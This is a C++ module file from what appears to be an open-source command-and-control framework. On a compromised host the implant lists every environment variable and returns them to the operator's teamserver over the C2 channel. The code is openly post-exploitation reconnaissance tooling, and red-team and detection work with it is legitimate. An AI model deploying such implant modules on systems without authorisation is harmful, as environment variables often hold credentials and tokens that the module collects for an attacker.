maxDcb-C2Core/modules/GetEnv/GetEnv.cpp

#include "GetEnv.hpp"
#include "Common.hpp"

#include <cstring>
#ifdef _WIN32
#include <windows.h>
#else
extern char **environ;
#endif

using namespace std;

constexpr std::string_view moduleName = "getEnv";
constexpr unsigned long long moduleHash = djb2(moduleName);

#ifdef _WIN32
__declspec(dllexport) GetEnv* GetEnvConstructor()
{
    return new GetEnv();
}
#else
__attribute__((visibility("default"))) GetEnv* GetEnvConstructor()
{
    return new GetEnv();
}
#endif

GetEnv::GetEnv()
#ifdef BUILD_TEAMSERVER
    : ModuleCmd(std::string(moduleName), moduleHash)
#else
    : ModuleCmd("", moduleHash)
#endif
{
}

GetEnv::~GetEnv()
{
}

std::string GetEnv::getInfo()
{
    std::string info;
#ifdef BUILD_TEAMSERVER
    info += "getEnv:\n";
    info += "List environment variables.\n";
#endif
    return info;
}

int GetEnv::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
    c2Message.set_instruction(splitedCmd[0]);
#endif

    return 0;
}

int GetEnv::process(C2Message& c2Message, C2Message& c2RetMessage)
{
    std::string out = listEnv();
    c2RetMessage.set_instruction(c2Message.instruction());
    c2RetMessage.set_returnvalue(out);
    return 0;
}

std::string GetEnv::listEnv()
{
    std::string result;
#ifdef _WIN32
    LPCH env = GetEnvironmentStringsA();
    if(!env)
        return "Could not retrieve environment";
    for(LPCH var = env; *var; var += strlen(var) + 1)
    {
        result += var;
        result += "\n";
    }
    FreeEnvironmentStringsA(env);
#else
    if(!environ)
        return result;
    for(char **p = environ; *p; ++p)
    {
        result += *p;
        result += "\n";
    }
#endif
    return result;
}